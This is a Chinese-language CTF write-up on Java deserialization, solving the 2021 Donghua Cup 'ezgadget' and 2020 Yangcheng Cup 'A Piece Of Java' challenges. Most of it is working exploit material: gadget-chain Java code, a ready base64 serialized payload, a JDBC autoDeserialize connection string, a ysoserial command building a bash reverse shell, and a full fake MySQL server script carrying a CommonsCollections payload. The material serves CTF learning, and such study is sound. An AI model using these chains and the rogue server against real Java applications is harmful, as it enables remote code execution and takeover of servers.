从CTF学习JAVA安全

2021东华杯 ezgadget

题目地址

一道关于Java反序列化的CTF题-东华杯ezgadget qe53

题目分析

WEB端有readobject路由，把输入的数据通过工具类解码，包装成ObjectInputStream类型，再调用readObject方法，所以这里可以作为反序列化的入口点

工具类Tools，负责base64编码、解码，序列化、反序列化

工具类ToStringBean，调用了defineClass方法，并且通过newInstance()实例化对象

看到这个我们就能想到：

动态类加载：

• ToStringBean 继承自 ClassLoader，并且在 toString() 方法中使用 defineClass 动态加载由 ClassByte 指定的字节码。

反序列化触发：

• 在反序列化过程中会自动调用readObject() 方法。ToStringBean 实现了 Serializable 接口，只要有类的readObject()调用ToStringBean.toString()方法就可以实现代码执行。

解题过程

反序列化入口选择BadAttributeValueExpException，这是CC5的入口，它会触发toString()方法

EXP

package com.ezgame.ctf;

import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;



//redobject路由对data有反序列化
//BadAttributeValueExpException.readObject()->ToStringBean.toString()方法
//toStringBean的defineClass+newInstance
public class Exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        //反射修改ToStringBean.ClassByte为恶意字节码
        ToStringBean toStringBean = new ToStringBean();
        Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte");
        classByteField.setAccessible(true);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\JAVA\\EzJava\\target\\classes\\com\\ezgame\\ctf\\Payload.class"));
        classByteField.set(toStringBean, bytes);

		//通过BadAttributeValueExpException包装ToStringBean
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException, toStringBean);

        //这一部分逻辑都是跟着readobject路由的条件写的
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("gadgets");
        objectOutputStream.writeInt(2021);
        objectOutputStream.writeObject(badAttributeValueExpException);


        byte[] byteArray = byteArrayOutputStream.toByteArray();
        String s = Tools.base64Encode(byteArray);
        System.out.printf(s);

    }
}

Payload

package com.ezgame.ctf;

import java.io.IOException;

public class Payload {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

序列化字符串

rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAGHQAEmNvbS5lemdhbWUuY3RmLkV4cHQACEV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAIWNvbS5lemdhbWUuY3RmLnRvb2xzLlRvU3RyaW5nQmVhbhPMVFon2dx5AgABWwAJQ2xhc3NCeXRldAACW0J4cHVyAAJbQqzzF/gGCFTgAgAAeHAAAAJ9yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMY29tL2V6Z2FtZS9jdGYvUGF5bG9hZDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADFBheWxvYWQuamF2YQwACQAKBwAgDAAhACIBAARjYWxjDAAjACQBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAlAAoBABZjb20vZXpnYW1lL2N0Zi9QYXlsb2FkAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAFAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAACAAJAAsADAAJAA0ACgARAAwADQAAAAwAAQANAAQAEQASAAAAEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==

Burp Ctrl+U 对序列化字符串URL编码

坑点与总结

坑点：传入参数时需要url编码，因为base64编码后存在+号，而http请求会把传参时会将+号识别为空格。base64没有空格符号，所以后端解码会报错。

这题主要考察 反序列化、类加载、字节码执行，另外组长的视频适合反复观看Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)

[羊城杯 2020]A Piece Of Java

题目地址

A Piece Of Java

题目分析

把题目的jar添加为项目库，idea就会直接反编译了，先关注路由

逻辑还是挺简单的：

• /index获取参数username、password，将参数赋值给userinfo对象，并将该对象序列化存储到Cookie的data中
• /hello获得cookie中的data并反序列化，并调用info.getAllInfo()，将返回的数据显示到hello.html中的info参数

嗯？那不直接可以CC链打了么？没那么简单，接着我们看重写的deserialize方法，它其实是有限制的

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to 'false' for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <blacklist>

    </blacklist>
    <whitelist>
        <regexp>gdufs\..*</regexp>
        <regexp>java\.lang\..*</regexp>
    </whitelist>
</config>

可以看到白名单，也就是反序列化的目标收到了限制，只能是白名单中的包下的类才能反序列化。

接着调用了Info接口的getAllInfo()方法，实现Info接口的有两个类UserInfo和DatabaseInfo这里UserInfo并没有什么用，我们看DatabaseInfo类，其中有checkAllInfo()方法调用了connect方法，connect()方法使用JDBC连接了数据库，这里就可以考虑JDBC反序列化，也就绕过了上面反序列化的限制。

问题是如何调用checkAllInfo()方法，题目中还给了个InfoInvocationHandler类它实现了InvocationHandler类，并且**invoke()**方法中调用了checkAllInfo()方法。

思路就有了，使用动态代理，根据动态代理的特性，代理对象调用任意方法时就会触发invoke()方法。

调用链

反序列化->info.getAllinfo()->(动态代理)InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()

EXP

public class Exp {
    public static void main(String[] args) throws IOException {
        DatabaseInfo databaseinfo = new DatabaseInfo();
        databaseinfo.setHost("JDBC恶意服务器地址");
        databaseinfo.setPort("JDBC恶意服务器端口");
        databaseinfo.setUsername("1");
        //JDBC-Mysql 8.0.19 payload
        databaseinfo.setPassword("1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");


        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseinfo);
        Info info=(Info) Proxy.newProxyInstance(databaseinfo.getClass().getClassLoader(),databaseinfo.getClass().getInterfaces(), infoInvocationHandler);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(info);
        objectOutputStream.close();

        String str=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
        System.out.println(str);

    }
}

使用ysoserial生成反弹shell的CC链

java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}" > a

恶意MySQL.py

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                //获取payload
                payload_content=get_payload_content()
                //计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                //计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

坑点与总结

坑点：做题时，类的包名要和题目jar中的包名一致，不然会导致反序列化找不到类失败。

题目主要考察对动态代理的理解和JDBC反序列化，推荐观看组长对动态代理的讲解Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)

2022安洵杯 ezJaba

题目地址：ezJaba；ezJaba s8u6